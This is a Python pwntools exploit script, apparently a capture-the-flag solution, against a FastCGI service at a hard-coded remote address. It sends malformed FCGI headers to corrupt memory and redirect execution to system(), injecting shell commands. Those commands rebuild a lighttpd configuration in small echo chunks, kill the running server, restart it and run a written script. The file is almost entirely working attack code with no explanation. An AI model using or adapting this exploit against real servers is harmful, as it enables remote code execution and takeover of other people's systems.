1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
| from pwn import *
context.log_level='debug'
"""
typedef struct {
unsigned char version;
unsigned char type;
unsigned char requestIdB1;
unsigned char requestIdB0;
unsigned char contentLengthB1;
unsigned char contentLengthB0;
unsigned char paddingLength;
unsigned char reserved;
} FCGI_Header;
"""
def makeHeader(type, requestId, contentLength, paddingLength):
header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)
return header
"""
typedef struct {
unsigned char roleB1;
unsigned char roleB0;
unsigned char flags;
unsigned char reserved[5];
} FCGI_BeginRequestBody;
"""
def makeBeginReqBody(role, flags):
return p16(role)[::-1] + p8(flags) + b"\x00" * 5
def start():
return remote('35.241.98.126',30882)
def pwn(cmdd):
io=start()
pl=b''
pl+=makeHeader(1,1,8,0)
pl+=makeBeginReqBody(1,0)
pl+=makeHeader(9,0,0x28*2+8*4,0)
pl+=(p8(0x13)+p8(0x13)+b'z'*0x26)+(p8(3)+p8(3)+b'c'*6)*4+(p8(0x13)+p8(0x13)+b'b'*0x26)
io.send(pl)
io.close()
io=start()
elf=ELF('files/challenge')
pl=b''
pl+=makeHeader(1,1,8,0)
pl+=makeBeginReqBody(1,0)
pl+=makeHeader(9,0,0x900,0)
print(cmdd)
pl+=p32(0xffffffff)*2+b'a'*0x10+cmdd+p32(0)*3+p32(elf.plt['system'])
io.send(pl)
io.interactive()
def pad(data):
padding_length = (5 - len(data)) % 5
padded_data = data + b' ' * padding_length
return padded_data
cmd=pad(b'server.document-root="/home/ctf"\nserver.port=8888\n')
for i in range(len(cmd)//5):
pwn(b' ;echo -n \''+cmd[i*5:(i+1)*5]+b'\'>>a')
pause(1)
cmd=pad(b'pkill -9 lighttpd\n./lighttpd -f a\n')
for i in range(len(cmd)//5):
pwn(b' ;echo -n \''+cmd[i*5:(i+1)*5]+b'\'>>b')
pause(1)
pwn(b' ;chmod +x b;./b'.ljust(20,b' '))
|
